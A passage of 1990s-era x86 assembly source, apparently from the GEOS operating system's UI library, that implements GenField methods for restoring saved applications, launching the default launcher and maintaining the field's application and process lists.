*ds:si - GenField es - dgroup RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp ax, bx, cx, dx, si KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 7/19/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldRestoreApps method dynamic GenFieldClass, MSG_GEN_FIELD_RESTORE_APPS ; IF DETACHING, EXIT test ds:[di].GFI_flags, mask GFF_DETACHING jne exit push es segmov es, dgroup, bx test es:[uiFlags], mask UIF_DETACHING_SYSTEM pop es jnz exit ; IF ALREADY RESTORING APPLICATIONS, EXIT test ds:[di].GFI_flags, mask GFF_RESTORING_APPS jne exit ; IF NO APPS TO RESTORE AND NO APPS RUNNING, START DEFAULT_LAUNCHER tst ds:[di].GFI_numDetachedApps ;If apps to restore, do it jnz restoreApps mov bx, ds:[di].GFI_genApplications tst bx ; any apps? jz noApps ; nope mov bx, ds:[bx] ; ds:bx = list inc bx jz noApps ; no apps dec bx jz noApps ; no apps ChunkSizePtr ds, bx, ax ; ax = size of list tst ax jnz exit ; apps are running, just exit noApps: mov ax, MSG_GEN_FIELD_LOAD_DEFAULT_LAUNCHER mov cx, 0 ;handle error mov bx, ds:[LMBH_handle] ; ; do this via the queue as this can cause ft changes which we want to ; avoid here because we may be initially called because of an ft change ; (OLFieldGainedFocusExcl, OLFieldGainedTargetExcl) ; mov di, mask MF_FORCE_QUEUE call ObjMessage jmp short exit restoreApps: ornf ds:[di].GFI_flags, mask GFF_RESTORING_APPS clr ds:[di].GFI_numRestartedApps mov ax, TEMP_GEN_FIELD_OPEN_APP_ON_TOP clr cx call ObjVarAddData ; cx = 0 mov ax, MSG_GEN_FIELD_RESTORE_NEXT_APP call ObjCallInstanceNoLock exit: ret GenFieldRestoreApps endm COMMENT @---------------------------------------------------------------------- METHOD: GenFieldRestoreNextApp DESCRIPTION: Restore applications running in field PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_RESTORE_NEXT_APP cx - # of app being restarted RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 12/89 Initial version ------------------------------------------------------------------------------@ GenFieldDiskRestoreArgs struct GFDRA_appArray word ; chunk handle of chunkarray holding ; AppInstanceReference structs GFDRA_elementNum word ; # of app being restored. GenFieldDiskRestoreArgs ends GenFieldRestoreNextApp method dynamic GenFieldClass, MSG_GEN_FIELD_RESTORE_NEXT_APP ; IF DETACHING, EXIT test ds:[di].GFI_flags, mask GFF_DETACHING LONG jne NoApps push es segmov es, dgroup, bx test es:[uiFlags], mask UIF_DETACHING_SYSTEM pop es LONG jnz NoApps tst ds:[di].GFI_numDetachedApps ;If no apps, just exit LONG jz NoApps cmp cl, ds:[di].GFI_numDetachedApps jae NoMoreAppsJMP inc ds:[di].GFI_numRestartedApps push cx ; save app # push si ; save chunk handle of field on stack mov si, ds:[di].GFI_apps ; fetch chunk clr ax call ChunkArrayElementToPtr ; ds:di <- AppInstanceRef jnc haveAIR ; ; no more apps in AIR array ; pop si ; restore GenField chunk pop cx ; restore app # mov di, ds:[si] add di, ds:[di].Gen_offset ; ds:di = gen instance ; undo 'inc' above dec ds:[di].GFI_numRestartedApps NoMoreAppsJMP: jmp NoMoreApps haveAIR: push ax, si ; save array handle & element # mov bx, sp ; pass ss:bx pointing to element # ; and array handle lea si, ds:[di].AIR_savedDiskData mov cx, SEGMENT_CS mov dx, offset RestoreAppDiskRestoreCallback call DiskRestore pop bx, si jc diskRestoreFailed xchg ax, bx ; ax <- elt #, bx <- disk handle call ChunkArrayElementToPtr mov ds:[di].AIR_diskHandle, bx mov si, di ; ds:si = AppReferenceInstance to ; restore pop bp ; pass chunk handle of GenField in bp mov ax, size AppLaunchBlock mov cx, (mask HAF_ZERO_INIT shl 8) or \ mask HF_SHARABLE or ALLOC_DYNAMIC_NO_ERR_LOCK call MemAlloc ; mov es, ax ; es:di = AppInstanceReference section mov di, offset ALB_appRef ; Copy over AppRef to use mov cx, size AppInstanceReference push si ; save AIR for deletion rep movsb ; Copy into block pop di ; ds:di <- AppInstanceRef again ; delete the element from the GFI_apps chunkarray, now we've used it mov si, ds:[bp] add si, ds:[si].Gen_offset mov si, ds:[si].GFI_apps call ChunkArrayDelete ; fill in the rest of the AppLaunchBlock fields. ; Store this GenField as vis parent to use mov ax, ds:[LMBH_handle] mov es:[ALB_genParent].handle, ax mov es:[ALB_genParent].chunk, bp mov es:[ALB_userLoadAckAD].AD_OD.handle, ax mov es:[ALB_userLoadAckAD].AD_OD.chunk, bp mov es:[ALB_userLoadAckAD].AD_message, MSG_GEN_FIELD_RESTORE_APP_ACK EC < mov es:[ALB_userLoadAckID],1234 > call MemUnlock ; mov dx, bx ; Put block handle in dx mov si, bp ;Restore chunk handle of GenField object pop cx ; cx <- app # mov ax, MSG_GEN_FIELD_RESTORE_APP GOTO ObjCallInstanceNoLock diskRestoreFailed: ; ; alert the user to the error if it's not something s/he caused ; call GenPathDiskRestoreError ; ; If couldn't restore app's disk handle, we can't run the thing, so ; just nuke it from the array and restore the next app. ; pop bp pop cx ; recover app #, but don't upp it, as we've ; not actually restored this one...whatever ; app we are able to restore first we want ; to come up on top... mov si, ds:[bp] add si, ds:[si].Gen_offset mov si, ds:[si].GFI_apps call ChunkArrayDelete mov si, bp mov ax, MSG_GEN_FIELD_RESTORE_NEXT_APP mov di, mask MF_FORCE_QUEUE or mask MF_INSERT_AT_FRONT mov bx, ds:[LMBH_handle] call ObjMessage ; ; force queue this after MSG_GEN_FIELD_RESTORE_NEXT_APP ; EC < mov bp, 1234 > mov ax, MSG_GEN_FIELD_RESTORE_APP_ACK mov dx, -1 mov di, mask MF_FORCE_QUEUE GOTO ObjMessage ;Let the field know we didn't restart NoApps: andnf ds:[di].GFI_flags, not mask GFF_RESTORING_APPS NoMoreApps: clr ds:[di].GFI_numDetachedApps ;Must clear this here, because ; field may get multiple ; MSG_GEN_FIELD_RESTORE_APPS mov ax, ds:[di].GFI_apps ; tst ax ; if didn't exist before, done jz checkLauncher ; ; else we've altered the array call ObjMarkDirty ; thus, we're dirty. checkLauncher: test ds:[di].GFI_flags, mask GFF_NEED_DEFAULT_LAUNCHER jz Done clr cx ; Handle errors mov ax, MSG_GEN_FIELD_LOAD_DEFAULT_LAUNCHER call ObjCallInstanceNoLock Done: ret GenFieldRestoreNextApp endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RestoreAppDiskRestoreCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: callback for GenFieldRestoreNextApp's DiskRestore CALLED BY: DiskRestore PASS: ds:dx = drive name (null-terminated, with trailing ':') ds:di = disk name (null-terminated) ds:si = buffer to which the disk handle was saved ax = DiskRestoreError that would be returned if callback weren't being called. bx, bp = as passed to DiskRestore ss:bx = GenFieldDiskRestoreArgs RETURN: carry clear if disk should be in the drive; ds:si = new position of buffer, if it moved carry set if user canceled the restore: ax = error code to return (usually DRE_USER_CANCELED_RESTORE) DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: We should really use a standard dialog here, but that would be pretty messy given that we can't do a blocking dialog from the UI thread. So we punt and use SysNotify. REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/27/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RestoreAppDiskRestoreCallback proc far .enter ; ; Perform standard callback to prompt the user for the disk. Doesn't ; fixup DS... ; push bx push ds:[LMBH_handle] call UserDiskRestoreCallback pop bx call MemDerefDS pop bx ; ss:bx <- GenFieldDiskRestoreArgs pushf ; save error flag push ax ; ... and code ; ; Deref the array element again so we can return it to DiskRestore ; mov si, ss:[bx].GFDRA_appArray mov ax, ss:[bx].GFDRA_elementNum call ChunkArrayElementToPtr lea si, ds:[di].AIR_savedDiskData ; ; Recover the error code and flag and return. ; pop ax popf .leave ret RestoreAppDiskRestoreCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldRestoreApp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Starts up an app, given the passed AppLaunchBlock. CALLED BY: GLOBAL PASS: cx - # of app being restarted (0-origin) dx - AppLaunchBlock for app to load up RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 7/12/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldRestoreApp method GenFieldClass, MSG_GEN_FIELD_RESTORE_APP push si push cx mov bx, dx call MemLock ;Lock AppLaunchBlock push ds mov ds, ax tst ds:[AIR_stateFile][0] ;Is there a state file? jnz 5$ ;Branch if so... ; IF NO STATE FILE, DON'T BOTHER RESTARTING THE APPLICATION mov dx, ds:[ALB_userLoadAckAD].AD_OD.handle mov si, ds:[ALB_userLoadAckAD].AD_OD.chunk mov ax, ds:[ALB_userLoadAckAD].AD_message EC < mov bp, ds:[ALB_userLoadAckID] > call MemFree ;Free AppLaunchBlock mov bx, dx ; bx = AD_OD.handle pop ds mov dx, -1 ; mov di, mask MF_FORCE_QUEUE call ObjMessage ;Let the field know we didn't restart ; this application jmp startNextApp 5$: pop ds call MemUnlock ; Open each application in turn behind ; the previous one (Their order in the ; saved list is the order ; which we'd like them to come up.) mov ax, TEMP_GEN_FIELD_OPEN_APP_ON_TOP call ObjVarFindData ; Test to see if FIRST application being ; restarted mov ah, mask ALF_SEND_LAUNCH_REQUEST_TO_UI_TO_HANDLE or \ mask ALF_OPEN_IN_BACK or mask ALF_DO_NOT_OPEN_ON_TOP jnc afterAppLaunchFlags call ObjVarDeleteDataAt ; If first app to be launched, make it the ; focus application & open on top. mov ah, mask ALF_SEND_LAUNCH_REQUEST_TO_UI_TO_HANDLE or \ mask ALF_OPEN_IN_BACK afterAppLaunchFlags: ; Launch the application, requesting ; that it be restarted from the state file ; passed mov cx, MSG_GEN_PROCESS_RESTORE_FROM_STATE mov si, -1 ; USE filename stored in AppLaunchBlock clr al push ds:[LMBH_handle] call UserLoadApplication pop bx call MemDerefDS startNextApp: pop cx pop si inc cx mov ax, MSG_GEN_FIELD_RESTORE_NEXT_APP mov bx, ds:[LMBH_handle] mov di, mask MF_FORCE_QUEUE or mask MF_INSERT_AT_FRONT GOTO ObjMessage GenFieldRestoreApp endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldRestoreAppAck %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notification method handler for when a process has/has not been restarted from a state file. CALLED BY: GLOBAL PASS: cx - geode handle dx - error (0 if none) bp - ID passed in ALB_userLoadAckID RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 6/ 7/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldRestoreAppAck method GenFieldClass, MSG_GEN_FIELD_RESTORE_APP_ACK EC < cmp bp, 1234 > EC < ERROR_NZ UI_BAD_APP_ACK_ID > tst dx ;If no error, branch to exit jz exit dec ds:[di].GFI_numRestartedApps ;Decrement # apps running EC < ERROR_S GEN_FIELD_BAD_NUM_RESTARTED_APPS > jne exit ;If apps running, branch ;Else, handle error mov ax, MSG_GEN_FIELD_NO_APPS_RESTORED ; call ObjCallInstanceNoLock exit: ret GenFieldRestoreAppAck endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldNoAppsRestored %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle no applications being successfully restored CALLED BY: GLOBAL PASS: *ds:si - GenField RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldNoAppsRestored method GenFieldClass, MSG_GEN_FIELD_NO_APPS_RESTORED mov ax, TEMP_GEN_FIELD_OPEN_APP_ON_TOP call ObjVarDeleteData mov ax, MSG_GEN_FIELD_LOAD_DEFAULT_LAUNCHER mov cx, 0 ; handle error GOTO ObjCallInstanceNoLock GenFieldNoAppsRestored endp Init ends Resident segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldLoadDefaultLauncher %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Try to start default launcher for this field, if any. CALLED BY: GLOBAL PASS: *ds:si - GenField es - segment of GenFieldClass (dgroup) cx - 0 to handle error -1 to ignore error (error handling depends on launchModel, etc.) RETURN: nothing DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/19/92 Initial version chris 9/ 3/93 Changed to pass ourselves as the generic parent, rather than relying on the default. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TICKS_TO_WAIT_BEFORE_TRYING_TO_START_DEFAULT_LAUNCHER_AGAIN equ 5*60 ;If the system is too busy to load the default launcher, wait this amount of ; time and start again. NUM_DEFAULT_LAUNCHER_LOADING_RETRIES equ 3 ;If we can't restart the system ; ; This is in Resident module, to launch from safe memory situation ; GenFieldLoadDefaultLauncher method dynamic GenFieldClass, MSG_GEN_FIELD_LOAD_DEFAULT_LAUNCHER test ds:[di].GFI_flags, mask GFF_HAS_DEFAULT_LAUNCHER LONG jz noDefaultLauncher push es segmov es, dgroup, bx test es:[uiFlags], mask UIF_DETACHING_SYSTEM pop es LONG jnz noDefaultLauncher test ds:[di].GFI_flags, mask GFF_DETACHING LONG jnz noDefaultLauncher andnf ds:[di].GFI_flags, not mask GFF_NEED_DEFAULT_LAUNCHER mov ax, TEMP_GEN_FIELD_LOADING_DEFAULT_LAUNCHER call ObjVarFindData ; carry set if found LONG jc noDefaultLauncher ; if already there, don't need another push cx mov cx, size hptr call ObjVarAddData ; Set flag to indicate we're trying pop cx clr di ;Save all the stack, as this can use ; alot of stack space... call ThreadBorrowStackSpace push di mov bx, cx ; bx = error handling flag mov cx, INI_CATEGORY_BUFFER_SIZE sub sp, cx mov dx, sp ; cx:dx = category buffer mov cx, ss mov ax, MSG_META_GET_INI_CATEGORY call ObjCallInstanceNoLock mov ax, bx ;ax = error handling flag push ds:[LMBH_handle] push si mov ds, cx mov si, dx mov cx, cs mov dx, offset defaultLauncherKey clr bp ; give us a buffer call InitFileReadString ; bx = mem handle mov bp, ax ; bp = error handling flag mov ax, bx ; ax = mem handle pop si pop bx call MemDerefDS jc done ; if no default launcher, leave ; empty field mov bx, ax ; bx = mem handle call MemLock push bx push si push ds:[LMBH_handle] push bp ; save error handling flag mov di, ds:[LMBH_handle] ; pass field as ^ldi:bp mov bp, si mov ds, ax ; ds:si = app name clr si mov ah, mask ALF_NO_ACTIVATION_DIALOG clr cx ; default app mode clr dx ; default launch info clr bx ; search system dirs call PrepAppLaunchBlock ; get completed AppLaunchBlock in DX ; using field in ^ldi:bp! 9/3/93 cbh call UserLoadApplication pop cx ; cx = error handling flag mov bp, bx ; bp = New geode handle segmov es, ds ; es:bx is app name pop bx ; *ds:si = GenField call MemDerefDS mov bx, si pop si jc error push bp ; New geode handle mov ax, TEMP_GEN_FIELD_LOADING_DEFAULT_LAUNCHER call ObjVarFindData ; Find data created earlier pop ds:[bx] ; Save geode handle of new launcher afterError: ; *ds:si = GenField pop bx call MemFree done: add sp, INI_CATEGORY_BUFFER_SIZE pop di call ThreadReturnStackSpace noDefaultLauncher: ret ; ;--------- ; error: tst cx jnz errorEnd ; Currently, if you exit the last application, the system immediately ; tries to restart the default launcher. This is OK, but sometimes ; there won't be enough heap space available until after the app ; exits, or until the system generally settles down some. ; If the error we are getting is "GLE_INSUFFICIENT_HEAP_SPACE", retry ; a few times... cmp ax, GLE_INSUFFICIENT_HEAP_SPACE je retryLater ; Also, if the default launcher is already running, just wait till it ; exits and restart it. cmp ax, GLE_NOT_MULTI_LAUNCHABLE jne reportError retryLater: ; The system was too busy, so set a flag telling the system to try ; re-running the default launcher after an app exits. ; ; NOTE: If you are running on a system with limited heap space, but ; you are not in transparent detach mode, trying to load the default ; launcher when other apps are filling up the heap space will not ; yield any error - it will transparently just delay the launch until ; one of the apps has exited. mov di, ds:[si] add di, ds:[di].GenField_offset ornf ds:[di].GFI_flags, mask GFF_LOAD_DEFAULT_LAUNCHER_WHEN_NEXT_PROCESS_EXITS jmp errorEnd reportError: ; Report error ; push cx ; save error handling flag push si push ds:[LMBH_handle] ; save optr to GenField segmov ds, es ; ds:si = app name mov si, bx mov di, offset LauncherErrorTextOne call ReportLoadAppError pop bx ; *ds:si = GenField call MemDerefDS pop si pop cx ; cx = error handling flag ; Notify notification optr ; mov ax, MSG_META_FIELD_NOTIFY_START_LAUNCHER_ERROR call NotifyWithBP ; don't care about BP jnc errorEnd ; notification sent, done ; If in TRANSPARENT launch mode, then don't detach the field -- just ; try again. ; mov ax, segment GenFieldClass mov es, ax cmp es:[uiLaunchModel], UILM_TRANSPARENT je errorEnd ; ; if we have no one to notify about the launcher error, then just ; detach the field ; mov bx, ds:[LMBH_handle] mov ax, MSG_GEN_LOWER_TO_BOTTOM mov di, mask MF_FORCE_QUEUE ; stick in queue to allow ; any dialogs to finish call ObjMessage clr cx clr dx clr bp mov ax, MSG_META_DETACH mov di, mask MF_FORCE_QUEUE ; stick in queue to allow ; any dialogs to finish call ObjMessage errorEnd: ; OK, allow another try now mov ax, TEMP_GEN_FIELD_LOADING_DEFAULT_LAUNCHER call ObjVarDeleteData jmp afterError GenFieldLoadDefaultLauncher endp ; ; this must be in Resident, as it is used in other resources ; defaultLauncherKey char "defaultLauncher", 0 Resident ends ;-------- Common segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldAlterFTVMCExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Intercept to clean up TEMP_GEN_FIELD_LOADING_DEFAULT_LAUNCHER PASS: *ds:si - instance data ds:di - ptr to start of master instance data es - segment of class ax - MSG_META_MUP_ALTER_FTVMC_EXCL ^lcx:dx - object requesting grab/release bp - MetaAlterFTVMCExclFlags RETURN: nothing ALLOWED TO DESTROY: bx, si, di, ds, es PSEUDO CODE/STRATEGY/KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- doug 4/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldAlterFTVMCExcl method dynamic GenFieldClass, MSG_META_MUP_ALTER_FTVMC_EXCL mov di, offset GenFieldClass call ObjCallSuperNoLock ; If we've been trying to load the default launcher, & it has ; just been given the focus, then consider our task complete -- ; nuke the vardata we've been keeping around, keeping us from ; repeatedly trying to load the launcher, now that it has arrived. ; mov ax, TEMP_GEN_FIELD_LOADING_DEFAULT_LAUNCHER call ObjVarFindData jnc done mov di, ds:[bx] ; Fetch geode being launched mov ax, MSG_META_GET_FOCUS_EXCL call ObjCallInstanceNoLock jcxz done mov bx, cx call MemOwner ; get owning geode of new focus cmp bx, di jne done mov ax, TEMP_GEN_FIELD_LOADING_DEFAULT_LAUNCHER call ObjVarDeleteData ; Delete vardata for new launcher done: reT GenFieldAlterFTVMCExcl endm COMMENT @---------------------------------------------------------------------- METHOD: GenFieldAddGenApplication DESCRIPTION: Handle addition of an application from the field. Add the process handle to our list and make the process "owned" by the UI. PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_ADD_GEN_APPLICATION cx:dx - optr of GenApplication to add bp - CompChildFlags RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 3/90 Initial version ------------------------------------------------------------------------------@ GenFieldAddGenApplication method dynamic GenFieldClass, MSG_GEN_FIELD_ADD_GEN_APPLICATION push cx, dx ; save GenApplication optr push bp ; save CompChildFlags ; change process to be "owned" by the UI mov bx, cx call MemOwner ; bx = handle of process mov ax, handle 0 call HandleModifyOwner ; add process handle to our list mov bp, 0 ; adding process handle mov cx, bx ; cx = process handle mov bx, offset GFI_processes mov ax, CCO_LAST ; add at end call AddChunkOrOptrToList ; add GenApplication optr to our list mov bp, -1 ; adding optr pop ax ; CompChildFlags pop cx, dx ; cx:dx = GenApplication optr mov bx, offset GFI_genApplications push cx ; save handle of app call AddChunkOrOptrToList pop bx ; get handle of app call MemOwner ; get owning geode of app mov cx, bx ; Pass in cx clr dx ; Don't need (or know) AppLaunchBlock mov ax, MSG_GEN_FIELD_APP_STARTUP_DONE call ObjCallInstanceNoLock EC < Destroy ax, cx, dx, bp > ret GenFieldAddGenApplication endm ; ; pass: ; *ds:si - object ; bp - 0 if adding process handle ; cx - process handle to add ; bp <> 0 if adding optr ; cx:dx - optr to add ; bx - offset of instance data field holding list chunk handle ; ax - CompChildFlags ; return: ; nothing ; destroys: ; ax, bx, cx, dx, di ; AddChunkOrOptrToList proc near uses si .enter push cx ; save process or optr.handle tst bp jz chunk0 push dx ; save optr.chunk chunk0: mov di, ds:[si] add di, ds:[di].Gen_offset mov di, ds:[di][bx] ; di = chunk handle tst di ; does the chunk exist ? jz noChunk ; no, need to allocate mov cx, ds:[di] ; di = chunk address inc cx jz exists ; was 0xffff (empty chunk), reallocate dec cx jnz exists ; non-empty chunk, resize and store ; else, was 0, allocate new chunk noChunk: mov cx, 2 tst bp jz chunk1 mov cx, 4 chunk1: mov al, mask OCF_IGNORE_DIRTY call LMemAlloc ; ax = chunk mov di, ds:[si] add di, ds:[di].Gen_offset mov ds:[di][bx], ax mov di, ax mov di, ds:[di] add di, cx tst bp jz chunk25 pop ds:[di-4] ; optr.chunk chunk25: pop ds:[di-2] ; optr.handle or process handle jmp short done exists: ; ; insert new item in correct place ; *ds:di = list chunk ; ax = CompChildFlags ; ChunkSizeHandle ds, di, bx ; bx = size (end of list offset) andnf ax, mask CCF_REFERENCE ; extract reference field cmp ax, CCO_LAST ; desired to be in last position? je havePosition ; yes, insert at end (bx) shl ax ; ax = offset for new 2-byte entries tst bp jz chunk3 shl ax ; ax = offset for new 4-byte entries chunk3: cmp ax, bx ; is desired position beyond end? ja havePosition ; yes, just use last position mov bx, ax ; bx = offset for new entry havePosition: mov ax, di ; ax = chunk mov cx, 2 tst bp jz haveSize mov cx, 4 haveSize: call LMemInsertAt ; insert space for new entry mov di, ax ; *ds:di = list chunk mov di, ds:[di] ; ds:di = list tst bp jz chunk4 pop ds:[di][bx] ; optr.chunk pop ds:[di][bx+2] ; optr.handle jmp short done chunk4: pop ds:[di][bx] ; process handle done: .leave ret AddChunkOrOptrToList endp COMMENT @---------------------------------------------------------------------- METHOD: GenFieldRemoveGenApplication DESCRIPTION: Handle removal of an application from the field. PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_REMOVE_GEN_APPLICATION cx:dx - child to remove RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 3/90 Initial version ------------------------------------------------------------------------------@ GenFieldRemoveGenApplication method GenFieldClass, MSG_GEN_FIELD_REMOVE_GEN_APPLICATION ; ; remove GenApplication optr from our GenApplication optr list ; call RemoveOptrFromAppList EC < Destroy ax, cx, dx, bp > ret GenFieldRemoveGenApplication endm ; ; pass: ; cx:dx = optr to remove ; *ds:si = GenField ; ds:di = GenInstance ; RemoveOptrFromAppList proc near class GenFieldClass mov ax, cx ;ax:dx = GenApplication optr mov di, ds:[di].GFI_genApplications mov bx, di ;bx saves chunk mov di, ds:[di] ;ds:di = list inc di jz notFound dec di jz notFound ChunkSizePtr ds, di, cx ;cx = size shr cx shr cx ;cx = number of optrs segmov es, ds ;es:di = list searchLoop: cmp es:[di]+2, ax ; handle is at +2 jne searchNext cmp es:[di]+0, dx ; chunk is at +0 je found searchNext: add di, size optr loop searchLoop notFound: EC < ERROR_C UI_GEN_FIELD_GEN_APPLICATION_LIST_CORRUPT > found: ; found -- remove it sub di, ds:[bx] mov ax, bx ;ax = chunk mov bx, di ;bx = offset to delete at mov cx, 4 ;# bytes to delete call LMemDeleteAt ret RemoveOptrFromAppList endp COMMENT @---------------------------------------------------------------------- METHOD: GenFieldMoveGenApplication DESCRIPTION: Handle moving of an application to the end of the field's application list. PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_MOVE_GEN_APPLICATION cx:dx - application to move to end of list bp - CompChildFlags RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 3/90 Initial version ------------------------------------------------------------------------------@ GenFieldMoveGenApplication method GenFieldClass, MSG_GEN_FIELD_MOVE_GEN_APPLICATION ; ; remove GenApplication optr from our GenApplication optr list ; push cx, dx ; save GenApplication push bp ; save CompChildFlags call RemoveOptrFromAppList ; ; add it back in at the end of the application list ; mov bp, -1 ; adding optr pop ax ; CompChildFlags pop cx, dx ; cx:dx = GenApplication optr mov bx, offset GFI_genApplications call AddChunkOrOptrToList EC < Destroy ax, cx, dx, bp > ret GenFieldMoveGenApplication endm COMMENT @---------------------------------------------------------------------- METHOD: GenFieldProcessExit DESCRIPTION: Notification that a process has exited. See if it is a process on this field. PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_PROCESS_EXIT cx - handle of child process RETURN: carry - set if process found ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 3/90 Initial version ------------------------------------------------------------------------------@ GenFieldProcessExit method GenFieldClass, MSG_GEN_FIELD_PROCESS_EXIT mov ax, cx ;ax = process mov di, ds:[di].GFI_processes tst di ;array allocated? jz notFound ;no -- can't know the thing. mov bx, di ;bx saves chunk mov di, ds:[di] ;ds:di = list inc di jz notFound dec di jz notFound ChunkSizePtr ds, di, cx ;cx = size mov dx, cx ;dx = size shr cx segmov es, ds ;es:di = list jz notFound ; => cx is 0, so not found repne scasw ;search jnz notFound ; found -- remove it sub di, ds:[bx] sub di, 2 mov ax, bx ;ax = chunk mov bx, di ;bx = offset to delete at mov cx, 2 ;# bytes to delete call LMemDeleteAt ; if this was the last one and we are detaching then finish cmp dx, 2 jnz done mov di, ds:[si] add di, ds:[di].GenField_offset test ds:[di].GFI_flags, mask GFF_DETACHING jz done call ObjAckDetach done: ; ; We are waiting until this app exits before loading the default ; launcher - go for it now. ; mov di, ds:[si] add di, ds:[di].GenField_offset test ds:[di].GFI_flags, mask GFF_LOAD_DEFAULT_LAUNCHER_WHEN_NEXT_PROCESS_EXITS pushf andnf ds:[di].GFI_flags, not mask GFF_LOAD_DEFAULT_LAUNCHER_WHEN_NEXT_PROCESS_EXITS popf jz noLoadDefaultLauncher clr cx ; report errors mov ax, MSG_GEN_FIELD_LOAD_DEFAULT_LAUNCHER call ObjCallInstanceNoLock noLoadDefaultLauncher: stc ;return success 